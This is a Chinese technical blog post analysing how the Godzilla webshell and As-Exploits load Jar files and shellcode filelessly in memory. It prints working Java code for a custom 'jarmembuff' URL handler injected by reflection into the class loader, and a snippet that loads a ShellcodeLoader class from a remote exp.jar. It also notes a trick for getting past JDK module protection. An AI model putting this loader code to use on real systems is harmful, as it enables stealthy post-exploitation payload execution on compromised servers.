哥斯拉在第一版的时候就提供了一个黑魔法:内存加载Jar功能。从当时的介绍来看,这个功能本来是为上传数据库驱动用的,后面配合JNA可以实现无文件加载ShellCode,一切都在内存中执行,大大扩展了利用面。
要知道JDK默认没有提供直接内存加载Jar的接口,但是我们可以想到,既然JDK是支持通过http/file协议加载Jar包,也就是这里面一定存在着:读取Jar包内容->加载到内存->defineClass的链路,如果我们能够把第一步跳过去,直接把Jar的byte复制到内存中,就可以实现无文件加载。同样,Java原生是不支持内存加载so或者dll的,但是我们可以通过内存加载Jar的方式,在Jar中包含我们要利用的so/dll即可实现曲线救国。
As-Exploits很早就把这个功能移植了过来,不过目前似乎并没有找到有写分析这个功能的文章,本文抛砖引玉,简单分析分析。
在了解无文件加载Jar原理之前,首先了解一下JVM是如何查找Class的
Class.forName后下一个断点,进入java.net.URLClassLoader#findClass,这里有一个很重要的属性ucp,包含了所有的URL实例
         
         
找到目标Class对应所在Resource对象后,则会走入java.net.URLClassLoader#defineClass方法,进行类的加载
         
上面的过程涉及到两个重要的类,直接贴一下ChatGPT的描述:
sun.misc.URLClassPath类和java.net.URL类在Java中都与URL(统一资源定位符)相关联,但它们的作用和职责不同。
java.net.URL类是Java标准库中的一个类,用于表示一个统一资源定位符。它提供了许多方法来解析、构建和处理URL。URL对象可以用于打开连接、获取流等操作,以访问网络资源。
sun.misc.URLClassPath类是Java虚拟机(JVM)的一部分,并不属于公共API,它被用于支持类加载器加载和查找类文件。在类的查找过程中,URLClassPath负责管理类加载路径、查找类文件并加载类。
具体来说,当Java程序运行时,JVM的类加载器负责根据类的名称来查找并加载相应的类文件。URLClassPath类是JVM中的一个关键组件,它通过封装一组URL对象(其中包含了可能包含类文件的目录或JAR文件的URL)来提供类的查找功能。URLClassPath通过调用java.net.URL类提供的方法来解析和构建URL对象,并利用这些URL对象来定位和加载类文件。
因此,可以说URLClassPath类是在类加载过程中起着重要的作用,它与java.net.URL类密切合作,使用URL来定位并加载类文件。
知道了findResource的原理,后面就好理解为什么下面的的代码可以远程加载一个Jar包了:实际上就是把我们自定义的远程URL加入到了ucp属性中,后续通过该URL中提供的协议进行类的查找
1
 2
  
URLClassLoader  loader  =  new  URLClassLoader ( new  URL []{ new  URL ( "http://yzddmr6.com/exp.jar" )}); 
loader . loadClass ( "asexploits.ShellcodeLoader" ); 
 
 
为了摸清这一过程,我们用上面的代码对http协议加载Jar包过程进行调试:
在java.net.URL#URL(java.net.URL, java.lang.String, java.net.URLStreamHandler)断点,发现会根据获取到的协议方式拿到不同的handler,例如http://yzddmr6.com/exp.jar,就会获取http的handler,file:///tmp/exp.jar就会获取file类型的hander
java.net.URL#getURLStreamHandler
         
         
         
         
         
除了sun.net.www.protocol.http.Handler以外,默认的JDK还支持以下协议,可以看看:
         
后续就会依次经过以下步骤,
java.net.URL#openConnection
java.net.URL#openStream
sun.misc.URLClassPath.JarLoader#getJarFile(java.net.URL)
         
         
可以看到在http协议加载Jar过程中有两个重要的类:
sun.net.www.protocol.http.HttpURLConnection 
sun.net.www.protocol.http.Handler 
 
这两个类都与HTTP协议相关,在Java中用于处理HTTP连接和请求:
sun.net.www.protocol.http.HttpURLConnection类是Java标准库中的一个类,它继承自java.net.HttpURLConnection类,用于创建HTTP连接并发送HTTP请求。它提供了一组方法来设置请求的参数、发送请求、获取响应等操作,使开发者可以通过该类与远程服务器进行HTTP通信。 
sun.net.www.protocol.http.Handler类是Java虚拟机(JVM)中的一个实现类,它实现了java.net.URLStreamHandler接口。URLStreamHandler接口定义了处理不同URL协议的方法,而sun.net.www.protocol.http.Handler类具体处理HTTP协议。它负责解析并处理URL对象中的HTTP部分,包括建立HTTP连接、发送HTTP请求等操作,这些操作实际是由HttpURLConnection来实现。 
 
这两个类是获取Jar包内容的核心所在,想要实现内存加载Jar的关键部分就在这里。
综合看下来,最简单的办法就是实现一套自定义一套协议,在http协议的基础上修改获取Jar的逻辑,这也是beichen师傅的做法
在哥斯拉中叫jarmembuff,在这里我们直接把协议跟对应的handler塞到URL对象的handlers缓存中,核心代码:
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
  
Field  declaredField  =  null ; 
files  =  new  ArrayList (); 
 try  { 
    declaredField  =  URL . class . getDeclaredField ( "handlers" ); 
 }  catch  ( NoSuchFieldException  var7 )  { 
    try  { 
         declaredField  =  URL . class . getDeclaredField ( "ph_cache" ); 
     }  catch  ( NoSuchFieldException  var5 )  { 
     }  catch  ( Exception  var6 )  { 
     } 
 } 
 declaredField . setAccessible ( true ); 
Map  map  =  ( Map )  declaredField . get ( null ); 
synchronized  ( map )  { 
    Object  memoryBufferURLStreamHandler ; 
     if  ( map . containsKey ( "jarmembuff" ))  { 
         memoryBufferURLStreamHandler  =  map . get ( "jarmembuff" ); 
     }  else  { 
         memoryBufferURLStreamHandler  =  new  MemoryBufferURLStreamHandler (); 
         map . put ( "jarmembuff" ,  memoryBufferURLStreamHandler ); 
     } 
 
     files  =  ( List )  memoryBufferURLStreamHandler . getClass () . getMethod ( "getFiles" ) . invoke ( memoryBufferURLStreamHandler ); 
 } 
 
 
    5.2 实现自定义URLStreamHandler MemoryBufferURLStreamHandler中openConnection直接返回自定义的URLConnection类,用于获取Jar的内容
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
  
import  java . io . IOException ; 
import  java . net . URL ; 
import  java . net . URLConnection ; 
import  java . net . URLStreamHandler ; 
import  java . util . ArrayList ; 
import  java . util . List ; 
 public  class  MemoryBufferURLStreamHandler  extends  URLStreamHandler  { 
    private  final  List  files  =  new  ArrayList (); 
 
     public  MemoryBufferURLStreamHandler ()  { 
     } 
 
     public  List  getFiles ()  { 
         return  this . files ; 
     } 
 
     public  URLConnection  openConnection ( URL  url )  throws  IOException  { 
         return  new  MemoryBufferURLConnection ( url ); 
     } 
 } 
 
 
MemoryBufferURLConnection,在getInputStream方法中直接返回要加载Jar包的byte数组,该数组内容可以自定义传入,即内存加载
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
  
import  java . io . ByteArrayInputStream ; 
import  java . io . IOException ; 
import  java . io . InputStream ; 
import  java . lang . reflect . Field ; 
import  java . net . MalformedURLException ; 
import  java . net . URL ; 
import  java . net . URLConnection ; 
import  java . util . ArrayList ; 
import  java . util . List ; 
import  java . util . Map ; 
 public  class  MemoryBufferURLConnection  extends  URLConnection  { 
    private  static  List  files ; 
     private  final  String  contentType ; 
     private  final  byte []  data ; 
 
     protected  MemoryBufferURLConnection ( URL  url )  { 
         super ( url ); 
         String  file  =  url . getFile (); 
         int  indexOf  =  file . indexOf ( 47 ); 
         synchronized  ( files )  { 
             this . data  =  ( byte [])  files . get ( Integer . parseInt ( file . substring ( 0 ,  indexOf ))); 
         } 
 
         this . contentType  =  file . substring ( indexOf  +  1 ); 
     } 
 
     public  static  URL  createURL ( byte []  bArr ,  String  str )  throws  MalformedURLException  { 
         synchronized  ( files )  { 
             files . add ( bArr ); 
             URL  url  =  new  URL ( "jarmembuff" ,  "" ,  files . size ()  -  1  +  "/"  +  str ); 
             return  url ; 
         } 
     } 
 
     public  void  connect ()  throws  IOException  { 
     } 
 
     public  int  getContentLength ()  { 
         return  this . data . length ; 
     } 
 
     public  String  getContentType ()  { 
         return  this . contentType ; 
     } 
 
     public  InputStream  getInputStream ()  throws  IOException  { 
         return  new  ByteArrayInputStream ( this . data );  //  直接返回内存中的内容 
     } 
 } 
 
 
调用时首先将两个类打入内存上下文,然后调用MemoryBufferURLConnection的createURL创建构造好的URL对象,最后通过反射塞到SystemClassLoader的ucp中
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
  
public  String  load ( byte []  jarClassData )  { 
    Class  URLConnectionClass  =  null ; 
     try  { 
         String  MemoryBufferURLConnection  =  "" ; 
         String  MemoryBufferURLStreamHandler  =  "" ; 
         defClz ( Base64DecodeToByte ( MemoryBufferURLStreamHandler )); 
         URLConnectionClass  =  defClz ( Base64DecodeToByte ( MemoryBufferURLConnection )); 
     }  catch  ( Exception  e )  { 
 
     } 
     if  ( jarClassData  !=  null )  { 
         try  { 
             return  addJar (( URL )  URLConnectionClass . getMethod ( "createURL" ,  byte [] . class ,  String . class ) . invoke ( null ,  jarClassData ,  "application/jar" )); 
         }  catch  ( Exception  e )  { 
             return  e . getMessage (); 
         } 
     }  else  { 
         return  "jarByteArray is null" ; 
     } 
 } 
 
 
这里哥斯拉有一个小细节,MemoryBufferURLStreamHandler中有一个没有使用过的files对象,研究了一下是什么作用
         
JDK9实现了模块化,SystemClassLoader不再是URLClassLoader的子类,所以原有的Poc就不能直接用了。520师傅后来进行了一系列改进,支持了高版本JDK。其实基本原理差不多,主要是用https://github.com/BeichenDream/Kcon2021Code 中的trick绕过JDK了模块保护和反射过滤
通过Jar加载器-内存加载,上传ext目录下的loader.jar